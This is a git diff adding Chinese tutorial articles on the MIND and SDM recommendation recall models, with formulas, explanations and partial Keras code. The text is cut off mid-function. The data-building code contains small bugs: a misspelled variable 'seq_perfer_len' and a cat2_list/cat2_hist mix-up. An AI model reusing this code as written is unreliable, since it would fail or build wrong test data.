+最终得到的是(None, 2, 8)的向量，这样就解决了之前的那个疑问， 最终得到的兴趣向量个数并不是1个，而是多个兴趣向量了，因为上面用户特征拼接，是每个胶囊后面都拼接一份同样的特征。另外，就是原来DNN这里的输入还可以是3维的，这样进行运算的话，是最后一个维度与W进行运算，相当于只在第3个维度上进行了降维操作后者非线性操作，这样得到的兴趣个数是不变的。
+
+这样，有了两个兴趣的输出之后，接下来，就是过LabelAwareAttention层了，对这两个兴趣向量与当前item的相关性加注意力权重，最后变成1个用户的最终向量。
+
+```python
+user_embedding_final = LabelAwareAttention(k_max=k_max, pow_p=p,)((user_embeddings, target_emb))
+```
+这样，就得到了用户的最终表示向量，当然这个操作仅是训练的时候，服务的时候是拿的上面DNN的输出，即多个兴趣，这里注意一下。  
+
+拿到了最终的用户向量，如何计算损失呢？  这里用了负采样层进行操作。关于这个层具体的原理，后面我们可能会出一篇文章总结。
+
+接下来有几行代码也需要注意：
+
+```python
+# 下面是等模型训练完了之后，获取用户和item的embedding
+model.__setattr__("user_input", user_input_layers)
+model.__setattr__("user_embedding", user_embeddings)
+model.__setattr__("item_input", item_input_layers)
+model.__setattr__("item_embedding", get_item_embedding(pooling_item_embedding_weight, item_input_layer_dict[item_feature_name]))
+```
+这几行代码是为了模型训练完，我们给定输入之后，拿embedding用的，设置好了之后，通过：
+
+```python
+user_embedding_model = Model(inputs=model.user_input, outputs=model.user_embedding)
+item_embedding_model = Model(inputs=model.item_input, outputs=model.item_embedding)
+
+user_embs = user_embedding_model.predict(test_user_model_input, batch_size=2 ** 12)
+# user_embs = user_embs[:, i, :]  # i in [0,k_max) if MIND
+item_embs = item_embedding_model.predict(all_item_model_input, batch_size=2 ** 12)
+```
+这样就能拿到用户和item的embedding， 接下来近邻检索完成召回过程。 注意，MIND的话，这里是拿到的多个兴趣向量的。
+
+## 总结
+今天这篇文章整理的MIND，这是一个多兴趣的召回模型，核心是兴趣提取层，该层通过动态路由机制能够自动的对用户的历史行为序列进行聚类，得到多个兴趣向量，这样能在召回阶段捕获到用户的广泛兴趣，从而召回更好的候选商品。
+
+
+**参考**：
+* Multi-Interest Network with Dynamic Routing for Recommendation at Tmall
+* [ AI上推荐 之 MIND(动态路由与胶囊网络的奇光异彩)](https://blog.csdn.net/wuzhongqiang/article/details/123696462?spm=1001.2014.3001.5501)
+*  [Dynamic Routing Between Capsule ](https://arxiv.org/pdf/1710.09829.pdf)
+* [CIKM2019｜MIND---召回阶段的多兴趣模型](https://zhuanlan.zhihu.com/p/262638999)
+* [B站胶囊网络课程](https://www.bilibili.com/video/BV1eW411Q7CE?p=2)
+* [胶囊网络识别交通标志](https://blog.csdn.net/shebao3333/article/details/79008688)
+
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md
new file mode 100644
index 0000000..4fa3b62
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md
@@ -0,0 +1,404 @@
+## 写在前面
+SDM模型(Sequential Deep Matching Model)，是阿里团队在2019年CIKM上的一篇paper。和MIND模型一样，是一种序列召回模型，研究的依然是如何通过用户的历史行为序列去学习到用户的丰富兴趣。 对于MIND，我们已经知道是基于胶囊网络的动态路由机制，设计了一个动态兴趣提取层，把用户的行为序列通过路由机制聚类，然后映射成了多个兴趣胶囊，以此来获取到用户的广泛兴趣。而SDM模型，是先把用户的历史序列根据交互的时间分成了短期和长期两类，然后从**短期会话**和**长期行为**中分别采取**相应的措施(短期的RNN+多头注意力， 长期的Att Net)** 去学习到用户的短期兴趣和长期行为偏好，并**巧妙的设计了一个门控网络==有选择==的将长短期兴趣进行融合**，以此得到用户的最终兴趣向量。 这篇paper中的一些亮点，比如长期偏好的行为表示，多头注意力机制学习多兴趣，长短期兴趣的融合机制等，又给了一些看待问题的新角度，同时，给出了我们一种利用历史行为序列去捕捉用户动态偏好的新思路。 
+
+这篇paper依然是从引言开始， 介绍SDM模型提出的动机以及目前方法存在的不足(why)， 接下来就是SDM的网络模型架构(what)， 这里面的关键是如何从短期会话和长期行为两个方面学习到用户的短期长期偏好(how)，最后，依然是简易代码实现。
+
+大纲如下：
+* 背景与动机
+* SDM的网络结构与细节
+* SDM模型代码复现
+
+## 背景与动机
+ 这里要介绍该模型提出的动机，即why要有这样的一个模型？
+
+一个好的推荐系统应该是能精确的捕捉用户兴趣偏好以及能对他们当前需求进行快速响应的，往往工业上的推荐系统，为了能快速响应， 一般会把整个推荐流程分成召回和排序两个阶段，先通过召回，从海量商品中得到一个小的候选集，然后再给到排序模型做精确的筛选操作。 这也是目前推荐系统的一个范式了。在这个过程中，召回模块所检索到的候选对象的质量在整个系统中起着至关重要的作用。
+
+淘宝目前的召回模型是一些基于协同过滤的模型， 这些模型是通过用户与商品的历史交互建模，从而得到用户的物品的表示向量，但这个过程是**静态的**，而用户的行为或者兴趣是时刻变化的， 对于协同过滤的模型来说，并不能很好的捕捉到用户整个行为序列的动态变化。
+
+那我们知道了学习用户历史行为序列很重要， 那么假设序列很长呢？这时候直接用模型学习长序列之间的演进可能不是很好，因为很长的序列里面可能用户的兴趣发生过很大的转变，很多商品压根就没有啥关系，这样硬学，反而会导致越学越乱，就别提这个演进了。所以这里是以会话为单位，对长序列进行切分。作者这里的依据就是用户在同一个Session下，其需求往往是很明确的， 这时候，交互的商品也往往都非常类似。 但是Session与Session之间，可能需求改变，那么商品类型可能骤变。 所以以Session为单位来学习商品之间的序列信息，感觉要比整个长序列学习来的靠谱。 
+
+作者首先是先把长序列分成了多个会话， 然后**把最近的一次会话，和之前的会话分别视为了用户短期行为和长期行为分别进行了建模，并采用不同的措施学习用户的短期兴趣和长期兴趣，然后通过一个门控机制融合得到用户最终的表示向量**。这就是SDM在做的事情，
+
+
+长短期行为序列联合建模，其实是在给我们提供一种新的学习用户兴趣的新思路， 那么究竟是怎么做的呢？以及为啥这么做呢？
+* 对于短期用户行为， 首先作者使用了LSTM来学习序列关系， 而接下来是用一个Multi-head attention机制，学习用户的多兴趣。 
+	
+	先分析分析作者为啥用多头注意力机制，作者这里依然是基于实际的场景出发，作者发现，**用户的兴趣点在一个会话里面其实也是多重的**。这个可能之前的很多模型也是没考虑到的，但在商品购买的场景中，这确实也是个事实， 顾客在买一个商品的时候，往往会进行多方比较， 考虑品牌，颜色，商店等各种因素。作者认为用普通的注意力机制是无法反映广泛的兴趣了，所以用多头注意力网络。 
+	
+	多头注意力机制从某个角度去看，也有类似聚类的功效，首先它接收了用户的行为序列，然后从多个角度学习到每个商品与其他商品的相关性，然后根据与其他商品的相关性加权融合，这样，相似的item向量大概率就融合到了一块组成一个向量，所谓用户的多兴趣，可能是因为这些行为商品之间，可以从多个空间或者角度去get彼此之间的相关性，这里面有着用户多兴趣的表达信息。
+	
+* 用户的长期行为也会影响当前的决策，作者在这里举了一个NBA粉丝的例子，说如果一个是某个NBA球星的粉丝，那么他可能在之前会买很多有关这个球星的商品，如果现在这个时刻想买鞋的时候，大概率会考虑和球星相关的。所以作者说**长期偏好和短期行为都非常关键**。但是长期偏好或者行为往往是复杂广泛的，就像刚才这个例子里面，可能长期行为里面，买的与这个球星相关商品只占一小部分，而就只有这一小部分对当前决策有用。 
+  这个也是之前的模型利用长期偏好方面存在的问题，那么如何选择出长期偏好里面对于当前决策有用的那部分呢？  作者这里设计了一个门控的方式融合短期和长期，这个想法还是很巧妙的，后面介绍这个东西的时候说下我的想法。 
+
+所以下面总结动机以及本篇论文的亮点：
+* 动机： 召回模型需要捕获用户的动态兴趣变化，这个过程中利用好用户的长期行为和短期偏好非常关键，而以往的模型有下面几点不足：
+	* 协同过滤模型： 基于用户的交互进行静态建模，无法感知用户的兴趣变化过程，易召回同质性的商品
+	* 早期的一些序列推荐模型: 要么是对整个长序列直接建模，但这样太暴力，没法很好的学习商品之间的序列信息，有些是把长序列分成会话，但忽视了一个会话中用户的多重兴趣
+	* 有些方法在考虑用户的长期行为方面，只是简单的拼接或者加权求和，而实际上用户长期行为中只有很少一小部分对当前的预测有用，这样暴力融合反而会适得其反，起不到效果。另外还有一些多任务或者对抗方法， 在工业场景中不适用等。 
+	* 这些我只是通过我的理解简单总结，详细内容看原论文相关工作部分。
+* 亮点: 
+	* SDM模型， 考虑了用户的短期行为和长期兴趣，以会话的形式进行分割，并对这两方面分别建模
+	* 短期会话由于对当前决策影响比较大，那么我们就学习的全面一点， 首先RNN学习序列关系，其次通过多头注意力机制捕捉多兴趣，然后通过一个Attention Net加权得到短期兴趣表示
+	* 长期会话通过Attention Net融合，然后过DNN，得到用户的长期表示
+	* 我们设计了一个门控机制，类似于LSTM的那种门控，能巧妙的融合这两种兴趣，得到用户最终的表示向量
+
+这就是动机与背景总结啦。 那么接下来，SDM究竟是如何学习短期和长期表示，又是如何融合的？ 为什么要这么玩？
+	
+## SDM的网络结构与细节剖析
+### 问题定义
+这里本来直接看模型结构，但感觉还是先过一下问题定义吧，毕竟这次涉及到了会话，还有几个小规则。
+
+$\mathcal{U}$表示用户集合，$\mathcal{I}$表示item集合，模型考虑在时间$t$，是否用户$u$会对$i$产生交互。 对于$u$， 我们能够得到它的历史行为序列，那么先说一下如何进行会话的划分， 这里有三个规则：
+1. 相同会话ID的商品(后台能获取)算是一个会话
+2. 相邻的商品，时间间隔小于10分钟(业务自己调整)算一个会话
+3. 同一个会话中的商品不能超过50个，多出来的放入下一个会话
+
+这样划分开会话之后， 对于用户$u$的短期行为定义是离目前最近的这次会话， 用$\mathcal{S}^{u}=\left[i_{1}^{u}, \ldots, i_{t}^{u}, \ldots, i_{m}^{u}\right]$表示，$m$是序列长度。 而长期的用户行为是过去一周内的会话，但不包括短期的这次会话， 这个用$\mathcal{L}^{u}$表示。网络推荐架构如下：
+![在这里插入图片描述](https://img-blog.csdnimg.cn/841c97c541484f908282be881ec32fd8.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center)
+这个感觉并不用过多解释。看过召回的应该都能懂， 接收了用户的短期行为和长期行为，然后分别通过两个盲盒得到表示向量，再通过门控融合就得到了最终的用户表示。 
+
+下面要开那三个盲盒操作，即短期行为学习，长期行为学习以及门控融合机制。但在这之前，得先说一个东西，就是输入层这里， 要带物品的side infomation，比如物品的item ID, 物品的品牌ID，商铺ID， 类别ID等等， 那你说，为啥要单独说呢？ 之前的模型不也有， 但是这里在利用方式上有些不一样需要注意。
+
+### Input Embedding with side Information
+在淘宝的推荐场景中，作者发现， 顾客与物品产生交互行为的时候，不仅考虑特定的商品本身，还考虑产品， 商铺，价格等，这个显然。所以，这里对于一个商品来说，不仅要用到Item ID，还用了更多的side info信息，包括`leat category, fist level category, brand,shop`。 
+
+所以，假设用户的短期行为是$\mathcal{S}^{u}=\left[i_{1}^{u}, \ldots, i_{t}^{u}, \ldots, i_{m}^{u}\right]$， 这里面的每个商品$i_t^u$其实有5个属性表示了，每个属性本质是ID，但转成embedding之后，就得到了5个embedding， 所以这里就涉及到了融合问题。 这里用$\boldsymbol{e}_{{i}^u_t} \in \mathbb{R}^{d \times 1}$来表示每个$i_t^u$，但这里不是embedding的pooling操作，而是Concat
+$$
+\boldsymbol{e}_{i_{t}^{u}}=\operatorname{concat}\left(\left\{\boldsymbol{e}_{i}^{f} \mid f \in \mathcal{F}\right\}\right)
+$$
+其中，$\boldsymbol{e}_{i}^{f}=\boldsymbol{W}^{f} \boldsymbol{x}_{i}^{f} \in \mathbb{R}^{d_{f} \times 1}$， 这个公式看着负责，其实就是每个side info的id过embedding layer得到各自的embedding。这里embedding的维度是$d_f$， 等拼接起来之后，就是$d$维了。这个点要注意。
+
+另外就是用户的base表示向量了，这个很简单， 就是用户的基础画像，得到embedding，直接也是Concat，这个常规操作不解释：
+$$
+\boldsymbol{e}_{u}=\operatorname{concat}\left(\left\{\boldsymbol{e}_{u}^{p} \mid p \in \mathcal{P}\right\}\right)
+$$
+$e_u^p$是特征$p$的embedding。
+
+Ok，输入这里说完了之后，就直接开盲盒， 不按照论文里面的顺序来了。想看更多细节的就去看原论文吧，感觉那里面说的有些啰嗦。不如直接上图解释来的明显：
+
+![在这里插入图片描述](https://img-blog.csdnimg.cn/d297bf36d8c54b349dc666259b891927.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_2,color_FFFFFF,t_70,g_se,x_16#pic_center)
+这里正好三个框把盒子框住了，下面剖析出每个来就行啦。
+### 短期用户行为建模
+这里短期用户行为是下面的那个框， 接收的输入，首先是用户最近的那次会话，里面各个商品加入了side info信息之后，有了最终的embedding表示$\left[\boldsymbol{e}_{i_{1}^{u}}, \ldots, \boldsymbol{e}_{i_{t}^{u}}\right]$。 
+
+这个东西，首先要过LSTM，学习序列信息，这个感觉不用多说，直接上公式：
+$$
+\begin{aligned}
+\boldsymbol{i} \boldsymbol{n}_{t}^{u} &=\sigma\left(\boldsymbol{W}_{i n}^{1} \boldsymbol{e}_{i_{t}^{u}}+\boldsymbol{W}_{i n}^{2} \boldsymbol{h}_{t-1}^{u}+b_{i n}\right) \\
+f_{t}^{u} &=\sigma\left(\boldsymbol{W}_{f}^{1} \boldsymbol{e}_{i_{t}^{u}}+\boldsymbol{W}_{f}^{2} \boldsymbol{h}_{t-1}^{u}+b_{f}\right) \\
+\boldsymbol{o}_{t}^{u} &=\sigma\left(\boldsymbol{W}_{o}^{1} \boldsymbol{e}_{i}^{u}+\boldsymbol{W}_{o}^{2} \boldsymbol{h}_{t-1}^{u}+b_{o}\right) \\
+\boldsymbol{c}_{t}^{u} &=\boldsymbol{f}_{t} \boldsymbol{c}_{t-1}^{u}+\boldsymbol{i} \boldsymbol{n}_{t}^{u} \tanh \left(\boldsymbol{W}_{c}^{1} \boldsymbol{e}_{i_{t}^{u}}+\boldsymbol{W}_{c}^{2} \boldsymbol{h}_{t-1}^{u}+b_{c}\right) \\
+\boldsymbol{h}_{t}^{u} &=\boldsymbol{o}_{t}^{u} \tanh \left(\boldsymbol{c}_{t}^{u}\right)
+\end{aligned}
+$$
+这里采用的是多输入多输出， 即每个时间步都会有一个隐藏状态$h_t^u$输出出来，那么经过LSTM之后，原始的序列就有了序列相关信息，得到了$\left[\boldsymbol{h}_{1}^{u}, \ldots, \boldsymbol{h}_{t}^{u}\right]$, 把这个记为$\boldsymbol{X}^{u}$。这里的$\boldsymbol{h}_{t}^{u} \in \mathbb{R}^{d \times 1}$表示时间$t$的序列偏好表示。
+
+接下来， 这个东西要过Multi-head self-attention层，这个东西的原理我这里就不多讲了，这个东西可以学习到$h_i^u$系列之间的相关性，这个操作从某种角度看，也很像聚类， 因为我们这里是先用多头矩阵把$h_i^u$系列映射到多个空间，然后从各个空间中互求相关性
+$$
+\text { head }{ }_{i}^{u}=\operatorname{Attention}\left(\boldsymbol{W}_{i}^{Q} \boldsymbol{X}^{u}, \boldsymbol{W}_{i}^{K} \boldsymbol{X}^{u}, \boldsymbol{W}_{i}^{V} \boldsymbol{X}^{u}\right)
+$$
+得到权重后，对原始的向量加权融合。 让$Q_{i}^{u}=W_{i}^{Q} X^{u}$， $K_{i}^{u}=W_{i}^{K} \boldsymbol{X}^{u}$，$V_{i}^{u}=W_{i}^{V} X^{u}$， 背后计算是：
+$$
+\begin{aligned}
+&f\left(Q_{i}^{u}, K_{i}^{u}\right)=Q_{i}^{u T} K_{i}^{u} \\
+&A_{i}^{u}=\operatorname{softmax}\left(f\left(Q_{i}^{u}, K_{i}^{u}\right)\right)
+\end{aligned} \\ \operatorname{head}_{i}^{u}=V_{i}^{u} A_{i}^{u T}
+$$
+
+这里如果有多头注意力基础的话非常好理解啊，不多解释，可以看我[这篇文章](https://blog.csdn.net/wuzhongqiang/article/details/104414239?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164872966516781683952272%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164872966516781683952272&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-104414239.nonecase&utm_term=Attention+is+all&spm=1018.2226.3001.4450)补一下。
+
+这是一个头的计算， 接下来每个头都这么算，假设有$h$个头，这里会通过上面的映射矩阵$W$系列，先把原始的$h_i^u$向量映射到$d_{k}=\frac{1}{h} d$维度，然后计算$head_i^u$也是$d_k$维，这样$h$个head进行拼接，正好是$d$维， 接下来过一个全连接或者线性映射得到MultiHead的输出。
+$$
+\hat{X}^{u}=\text { MultiHead }\left(X^{u}\right)=W^{O} \text { concat }\left(\text { head }_{1}^{u}, \ldots, \text { head }_{h}^{u}\right)
+$$
+
+这样就相当于更相似的$h_i^u$融合到了一块，而这个更相似又是从多个角度得到的，于是乎， 作者认为，这样就能学习到用户的多兴趣。
+
+得到这个东西之后，接下来再过一个User Attention， 因为作者发现，对于相似历史行为的不同用户，其兴趣偏好也不太一样。
+所以加入这个用户Attention层，想挖掘更细粒度的用户个性化信息。 当然，这个就是普通的embedding层了， 用户的base向量$e_u$作为query，与$\hat{X}^{u}$的每个向量做Attention，然后加权求和得最终向量：
+$$
+\begin{aligned}
+\alpha_{k} &=\frac{\exp \left(\hat{\boldsymbol{h}}_{k}^{u T} \boldsymbol{e}_{u}\right)}{\sum_{k=1}^{t} \exp \left(\hat{\boldsymbol{h}}_{k}^{u T} \boldsymbol{e}_{u}\right)} \\
+\boldsymbol{s}_{t}^{u} &=\sum_{k=1}^{t} \alpha_{k} \hat{\boldsymbol{h}}_{k}^{u}
+\end{aligned}
+$$
+其中$s_{t}^{u} \in \mathbb{R}^{d \times 1}$，这样短期行为兴趣就修成了正果。
+
+### 用户长期行为建模
+从长期的视角来看，用户在不同的维度上可能积累了广泛的兴趣，用户可能经常访问一组类似的商店，并反复购买属于同一类别的商品。 所以长期行为$\mathcal{L}^{u}$来自于不同的特征尺度。
+$$
+\mathcal{L}^{u}=\left\{\mathcal{L}_{f}^{u} \mid f \in \mathcal{F}\right\}
+$$
+这里面包含了各种side特征。这里就和短期行为那里不太一样了，长期行为这里，是从特征的维度进行聚合，也就是把用户的历史长序列分成了多个特征，比如用户历史点击过的商品，历史逛过的店铺，历史看过的商品的类别，品牌等，分成了多个特征子集，然后这每个特征子集里面有对应的id，比如商品有商品id, 店铺有店铺id等，对于每个子集，过user Attention layer，和用户的base向量求Attention， 相当于看看用户喜欢逛啥样的商店， 喜欢啥样的品牌，啥样的商品类别等等，得到每个子集最终的表示向量。每个子集的计算过程如下：
+$$
+\begin{aligned}
+\alpha_{k} &=\frac{\exp \left(\boldsymbol{g}_{k}^{u T} \boldsymbol{e}_{u}\right)}{\sum_{k=1}^{\left|\mathcal{L}_{f}^{u}\right|} \exp \left(\boldsymbol{g}_{k}^{u T} \boldsymbol{e}_{u}\right)} \\
+z_{f}^{u} &=\sum_{k=1}^{\left|\mathcal{L}_{f}^{u}\right|} \alpha_{k} \boldsymbol{g}_{k}^{u}
+\end{aligned}
+$$
+每个子集都会得到一个加权的向量，把这个东西拼起来，然后过DNN。
+$$
+\begin{aligned}
+&z^{u}=\operatorname{concat}\left(\left\{z_{f}^{u} \mid f \in \mathcal{F}\right\}\right) \\
+&\boldsymbol{p}^{u}=\tanh \left(\boldsymbol{W}^{p} z^{u}+b\right)
+\end{aligned}
+$$
+这里的$\boldsymbol{p}^{u} \in \mathbb{R}^{d \times 1}$， 这样就得到了用户的长期兴趣表示。
+### 短长期兴趣融合
+长短期兴趣融合这里，作者发现之前模型往往喜欢直接拼接起来，或者加和，注意力加权等，但作者认为这样不能很好的将两类兴趣融合起来，因为长期序列里面，其实只有很少的一部分行为和当前有关。那么这样的话，直接无脑融合是有问题的。所以这里作者用了一种较为巧妙的方式，即门控机制：
+$$
+G_{t}^{u}=\operatorname{sigmoid}\left(\boldsymbol{W}^{1} \boldsymbol{e}_{u}+\boldsymbol{W}^{2} s_{t}^{u}+\boldsymbol{W}^{3} \boldsymbol{p}^{u}+b\right) \\ 
+o_{t}^{u}=\left(1-G_{t}^{u}\right) \odot p^{u}+G_{t}^{u} \odot s_{t}^{u}
+$$
+这个和LSTM的这种门控机制很像，首先门控接收的输入有用户画像$e_u$，用户短期兴趣$s_t^u$， 用户长期兴趣$p^u$，经过sigmoid函数得到了$G_{t}^{u} \in \mathbb{R}^{d \times 1}$，用来决定在$t$时刻短期和长期兴趣的贡献程度。然后根据这个贡献程度对短期和长期偏好加权进行融合。
+
+为啥这东西就有用了呢？  实验中证明了这个东西有用，但这里给出我的理解哈，我们知道最终得到的短期或者长期兴趣都是$d$维的向量， 每一个维度可能代表着不同的兴趣偏好，比如第一维度代表品牌，第二个维度代表类别，第三个维度代表价格，第四个维度代表商店等等，当然假设哈，真实的向量不可解释。
+
+那么如果我们是直接相加或者是加权相加，其实都意味着长短期兴趣这每个维度都有很高的保留， 但其实上，万一长期兴趣和短期兴趣维度冲突了呢？ 比如短期兴趣里面可能用户喜欢这个品牌，长期用户里面用户喜欢那个品牌，那么听谁的？ 你可能说短期兴趣这个占更大权重呗，那么普通加权可是所有向量都加的相同的权重，品牌这个维度听短期兴趣的，其他维度比如价格，商店也都听短期兴趣的？本身存在不合理性。那么反而直接相加或者加权效果会不好。
+
+而门控机制的巧妙就在于，我会给每个维度都学习到一个权重，而这个权重非0即1(近似哈)， 那么接下来融合的时候，我通过这个门控机制，取长期和短期兴趣向量每个维度上的其中一个。比如在品牌方面听谁的，类别方面听谁的，价格方面听谁的，只会听短期和长期兴趣的其中一个的。这样就不会有冲突发生，而至于具体听谁的，交给网络自己学习。这样就使得用户长期兴趣和短期兴趣融合的时候，每个维度上的信息保留变得**有选择**。使得兴趣的融合方式更加的灵活。
+
+ ==这其实又给我们提供了一种两个向量融合的一种新思路，并不一定非得加权或者拼接或者相加了，还可以通过门控机制让网络自己学==
+
+
+## SDM模型的简易复现
+下面参考DeepMatch，用简易的代码实现下SDM，并在新闻推荐的数据集上进行召回任务。
+
+首先，下面分析SDM的整体架构，从代码层面看运行流程， 然后就这里面几个关键的细节进行说明。
+
+### 模型的输入
+对于SDM模型，由于它是将用户的行为序列分成了会话的形式，所以在构造SDM模型输入方面和前面的MIND以及YouTubeDNN有很大的不同了，所以这里需要先重点强调下输入。
+
+在为SDM产生数据集的时候， 需要传入短期会话的长度以及长期会话的长度， 这样， 对于一个行为序列，构造数据集的时候要按照两个长度分成短期行为和长期行为两种，并且每一种都需要指明真实的序列长度。另外，由于这里用到了文章的side info信息，所以我这里在之前列的基础上加入了文章的两个类别特征分别是cat_1和cat_2，作为文章的side info。 这个产生数据集的代码如下：
+
+```python
+"""构造sdm数据集"""
+def get_data_set(click_data, seq_short_len=5, seq_prefer_len=50):
+    """
+    :param: seq_short_len: 短期会话的长度
+    :param: seq_prefer_len: 会话的最长长度
+    """
+    click_data.sort_values("expo_time", inplace=True)
+    
+    train_set, test_set = [], []
+    for user_id, hist_click in tqdm(click_data.groupby('user_id')):
+        pos_list = hist_click['article_id'].tolist()
+        cat1_list = hist_click['cat_1'].tolist()
+        cat2_list = hist_click['cat_2'].tolist()
+        
+        # 滑动窗口切分数据
+        for i in range(1, len(pos_list)):
+            hist = pos_list[:i]
+            cat1_hist = cat1_list[:i]
+            cat2_hist = cat2_list[:i]
+            # 序列长度只够短期的
+            if i <= seq_short_len and i != len(pos_list) - 1:
+                train_set.append((
+                    # 用户id, 用户短期历史行为序列， 用户长期历史行为序列， 当前行为文章， label， 
+                    user_id, hist[::-1], [0]*seq_prefer_len, pos_list[i], 1, 
+                    # 用户短期历史序列长度， 用户长期历史序列长度， 
+                    len(hist[::-1]), 0, 
+                    # 用户短期历史序列对应类别1， 用户长期历史行为序列对应类别1
+                    cat1_hist[::-1], [0]*seq_prefer_len, 
+                    # 历史短期历史序列对应类别2， 用户长期历史行为序列对应类别2 
+                    cat2_hist[::-1], [0]*seq_prefer_len
+                ))
+            # 序列长度够长期的
+            elif i != len(pos_list) - 1:
+                train_set.append((
+                    # 用户id, 用户短期历史行为序列，用户长期历史行为序列， 当前行为文章， label
+                    user_id, hist[::-1][:seq_short_len], hist[::-1][seq_short_len:], pos_list[i], 1, 
+                    # 用户短期行为序列长度，用户长期行为序列长度，
+                    seq_short_len, len(hist[::-1])-seq_short_len,
+                    # 用户短期历史行为序列对应类别1， 用户长期历史行为序列对应类别1
+                    cat1_hist[::-1][:seq_short_len], cat1_hist[::-1][seq_short_len:],
+                    # 用户短期历史行为序列对应类别2， 用户长期历史行为序列对应类别2
+                    cat2_hist[::-1][:seq_short_len], cat2_hist[::-1][seq_short_len:]             
+                ))
+            # 测试集保留最长的那一条
+            elif i <= seq_short_len and i == len(pos_list) - 1:
+                test_set.append((
+                    user_id, hist[::-1], [0]*seq_prefer_len, pos_list[i], 1,
+                    len(hist[::-1]), 0, 
+                    cat1_hist[::-1], [0]*seq_perfer_len, 
+                    cat2_hist[::-1], [0]*seq_prefer_len
+                ))
+            else:
+                test_set.append((
+                    user_id, hist[::-1][:seq_short_len], hist[::-1][seq_short_len:], pos_list[i], 1,
+                    seq_short_len, len(hist[::-1])-seq_short_len, 
+                    cat1_hist[::-1][:seq_short_len], cat1_hist[::-1][seq_short_len:],
+                    cat2_list[::-1][:seq_short_len], cat2_hist[::-1][seq_short_len:]
+                ))
+                
+    random.shuffle(train_set)
+    random.shuffle(test_set)
+        
+    return train_set, test_set
+```
+思路和之前的是一样的，无非就是根据会话的长短，把之前的一个长行为序列划分成了短期和长期两个，然后加入两个新的side info特征。 
+
+### 模型的代码架构
+整个SDM模型算是参考deepmatch修改的一个简易版本：
+
+```python
+def SDM(user_feature_columns, item_feature_columns, history_feature_list, num_sampled=5, units=32, rnn_layers=2,
+        dropout_rate=0.2, rnn_num_res=1, num_head=4, l2_reg_embedding=1e-6, dnn_activation='tanh', seed=1024):
+    """
+    :param rnn_num_res: rnn的残差层个数 
+    :param history_feature_list: short和long sequence field
+    """
+    # item_feature目前只支持doc_id， 再加别的就不行了，其实这里可以改造下
+    if (len(item_feature_columns)) > 1: 
+        raise ValueError("SDM only support 1 item feature like doc_id")
+    
+    # 获取item_feature的一些属性
+    item_feature_column = item_feature_columns[0]
+    item_feature_name = item_feature_column.name
+    item_vocabulary_size = item_feature_column.vocabulary_size
+    
+    # 为用户特征创建Input层
+    user_input_layer_dict = build_input_layers(user_feature_columns)
+    item_input_layer_dict = build_input_layers(item_feature_columns)
+    
+    # 将Input层转化成列表的形式作为model的输入
+    user_input_layers = list(user_input_layer_dict.values())
+    item_input_layers = list(item_input_layer_dict.values())
+    
+    # 筛选出特征中的sparse特征和dense特征，方便单独处理
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), user_feature_columns)) if user_feature_columns else []
+    dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), user_feature_columns)) if user_feature_columns else []
+    if len(dense_feature_columns) != 0:
+        raise ValueError("SDM dont support dense feature")  # 目前不支持Dense feature
+    varlen_feature_columns = list(filter(lambda x: isinstance(x, VarLenSparseFeat), user_feature_columns)) if user_feature_columns else []
+    
+    # 构建embedding字典
+    embedding_layer_dict = build_embedding_layers(user_feature_columns+item_feature_columns)
+    
+    # 拿到短期会话和长期会话列 之前的命名规则在这里起作用
+    sparse_varlen_feature_columns = []
+    prefer_history_columns = []
+    short_history_columns = []
+    
+    prefer_fc_names = list(map(lambda x: "prefer_" + x, history_feature_list))
+    short_fc_names = list(map(lambda x: "short_" + x, history_feature_list))
+    
+    for fc in varlen_feature_columns:
+        if fc.name in prefer_fc_names:
+            prefer_history_columns.append(fc)
+        elif fc.name in short_fc_names:
+            short_history_columns.append(fc)
+        else:
+            sparse_varlen_feature_columns.append(fc)
+    
+    # 获取用户的长期行为序列列表 L^u 
+    # [<tf.Tensor 'emb_prefer_doc_id_2/Identity:0' shape=(None, 50, 32) dtype=float32>, <tf.Tensor 'emb_prefer_cat1_2/Identity:0' shape=(None, 50, 32) dtype=float32>, <tf.Tensor 'emb_prefer_cat2_2/Identity:0' shape=(None, 50, 32) dtype=float32>]
+    prefer_emb_list = embedding_lookup(prefer_fc_names, user_input_layer_dict, embedding_layer_dict)
+    # 获取用户的短期序列列表 S^u
+    # [<tf.Tensor 'emb_short_doc_id_2/Identity:0' shape=(None, 5, 32) dtype=float32>, <tf.Tensor 'emb_short_cat1_2/Identity:0' shape=(None, 5, 32) dtype=float32>, <tf.Tensor 'emb_short_cat2_2/Identity:0' shape=(None, 5, 32) dtype=float32>]
+    short_emb_list = embedding_lookup(short_fc_names, user_input_layer_dict, embedding_layer_dict)
+    
+    # 用户离散特征的输入层与embedding层拼接 e^u
+    user_emb_list = embedding_lookup([col.name for col in sparse_feature_columns], user_input_layer_dict, embedding_layer_dict)
+    user_emb = concat_func(user_emb_list)
+    user_emb_output = Dense(units, activation=dnn_activation, name='user_emb_output')(user_emb)  # (None, 1, 32)
+    
+    # 长期序列行为编码
+    # 过AttentionSequencePoolingLayer --> Concat --> DNN
+    prefer_sess_length = user_input_layer_dict['prefer_sess_length']
+    prefer_att_outputs = []
+    # 遍历长期行为序列
+    for i, prefer_emb in enumerate(prefer_emb_list):
+        prefer_attention_output = AttentionSequencePoolingLayer(dropout_rate=0)([user_emb_output, prefer_emb, prefer_sess_length])
+        prefer_att_outputs.append(prefer_attention_output)
+    prefer_att_concat = concat_func(prefer_att_outputs)   # (None, 1, 64) <== Concat(item_embedding，cat1_embedding,cat2_embedding)
+    prefer_output = Dense(units, activation=dnn_activation, name='prefer_output')(prefer_att_concat)
